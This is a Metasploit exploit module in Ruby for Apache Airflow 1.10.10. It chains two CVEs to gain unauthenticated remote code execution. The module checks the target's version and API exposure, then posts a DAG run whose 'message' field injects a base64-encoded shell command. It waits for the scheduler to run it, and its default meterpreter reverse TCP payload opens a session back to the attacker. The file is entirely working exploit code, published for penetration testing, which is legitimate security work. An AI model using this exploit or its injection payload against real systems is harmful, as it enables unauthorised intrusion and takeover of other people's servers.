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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution',
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        'Description' => %q{
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          This module exploits an unauthenticated command injection vulnerability
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          by combining two critical vulnerabilities in Apache Airflow 1.10.10.
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          The first, CVE-2020-11978, is an authenticated command injection vulnerability
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          found in one of Airflow's example DAGs, "example_trigger_target_dag", which
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          allows any authenticated user to run arbitrary OS commands as the user
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          running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default
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          setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's
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          Experimental REST API to perform malicious actions such as creating the
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          vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation
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          and command injection, leading to unauthenticated remote code execution.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'xuxiang',            # Original discovery and CVE submission
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          'Pepe Berba',         # ExploitDB author
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          'Ismail E. Dawoodjee' # Metasploit module author
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        ],
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        'References' => [
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          [ 'EDB', '49927' ],
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          [ 'CVE', '2020-11978' ],
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          [ 'CVE', '2020-13927' ],
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          [ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ],
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          [ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ],
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          [ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ],
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        ],
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        'Platform' => ['linux', 'unix'],
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        'Arch' => ARCH_CMD,
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        'Targets' => [
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          [
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            'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } }
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          ],
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2020-07-14',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(8080, true, 'Apache Airflow webserver default port'),
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        OptString.new('TARGETURI', [ true, 'Base path', '/' ]),
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        OptString.new('DAG_PATH', [
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          true,
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          'Path to vulnerable example DAG',
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          '/api/experimental/dags/example_trigger_target_dag'
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        ]),
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        OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120])
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      ]
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    )
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  end
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  def check
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    uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')
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    vprint_status("Checking target web server for a response at: #{full_uri(uri)}")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => uri
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    })
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    unless res
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      return CheckCode::Unknown('Target did not respond to check request.')
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    end
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    unless res.code == 200 &&
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           res.body.downcase.include?('admin') &&
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           res.body.downcase.include?('_csrf_token') &&
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           res.body.downcase.include?('sign in to airflow')
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      return CheckCode::Unknown('Target is not running Apache Airflow.')
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    end
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    vprint_good('Target is running Apache Airflow.')
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    vprint_status('Checking Apache Airflow version...')
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    version_number = res.body.to_s.scan(
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      %r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}
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    ).flatten.first
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    unless version_number
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      return CheckCode::Detected('Apache Airflow version cannot be determined.')
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    end
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    unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')
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      return CheckCode::Safe
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    end
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    vprint_status(
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      "Target is running Apache Airflow Version #{version_number}. " \
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      'Performing additional checks for exploitability...'
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    )
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    check_api
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    check_task
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    check_unpaused
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    return CheckCode::Appears
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  end
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  def check_api
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    uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test')
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    vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => uri
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    })
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    unless res && res.code == 200
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      return CheckCode::Safe('Could not access the Airflow Experimental REST API.')
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    end
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    vprint_good('Airflow Experimental REST API is accessible.')
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  end
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  def check_task
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    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task')
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    vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...')
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => uri
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    })
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    unless res && res.code == 200
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      return CheckCode::Safe(
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        'Could not find "example_trigger_target_dag.bash_task". ' \
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        'Target is not vulnerable to CVE-2020-11978.'
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      )
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    end
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    if res.get_json_document['env'].include?('dag_run')
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      return CheckCode::Safe(
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        'The "example_trigger_target_dag.bash_task" is patched. ' \
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        'Target is not vulnerable to CVE-2020-11978.'
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      )
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    end
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    vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.')
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  end
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  def check_unpaused
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    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false')
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    vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...')
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => uri
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    })
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    unless res && res.code == 200
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      return CheckCode::Safe(
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        'Could not unpause "example_trigger_target_dag.bash_task". ' \
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        'Example DAGs were not loaded.'
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      )
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    end
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    vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.')
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  end
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  def create_dag(cmd)
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    cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh"
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    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')
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    vprint_status('Creating a new vulnerable DAG...')
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri' => uri,
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      'ctype' => 'application/json',
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      'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } })
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    })
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    unless res && res.code == 200
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      fail_with(Failure::PayloadFailed, 'Failed to create DAG.')
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    end
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    print_good("Successfully created DAG: #{res.get_json_document['message']}")
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    return res.get_json_document['execution_date']
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  end
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  def await_execution(execution_date)
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    uri = normalize_uri(
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      target_uri.path,
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      datastore['DAG_PATH'],
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      'dag_runs', execution_date, 'tasks', 'bash_task'
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    )
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    print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...')
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    vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.')
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    i = 0
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    loop do
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      i += 1
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      sleep(10)
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      res = send_request_cgi({
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        'method' => 'GET',
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        'uri' => uri
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      })
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      unless res && res.code == 200
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        fail_with(Failure::Unknown, 'Bash task state cannot be determined.')
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      end
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      state = res.get_json_document['state']
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      if state == 'queued'
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        print_status('Bash task is queued...')
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      elsif state == 'running'
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        print_good('Bash task is running. Expect a session if executed successfully.')
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        break
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      elsif state == 'success'
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        print_good('Successfully ran Bash task. Expect a session soon.')
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        break
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      elsif state == 'None'
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        print_warning('Bash task is not yet queued...')
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      elsif state == 'scheduled'
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        print_status('Bash task is scheduled...')
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      else
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        print_status("Bash task state: #{state}.")
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        break
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      end
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      # stop loop when timeout
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      next unless datastore['TIMEOUT'] <= 10 * i
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      fail_with(Failure::TimeoutExpired,
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                'Bash task did not run within the specified time ' \
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                "- #{datastore['TIMEOUT']} seconds.")
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    end
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  end
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  def exploit
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    print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"")
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    execution_date = create_dag(payload.encoded)
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    await_execution(execution_date)
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  end
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end
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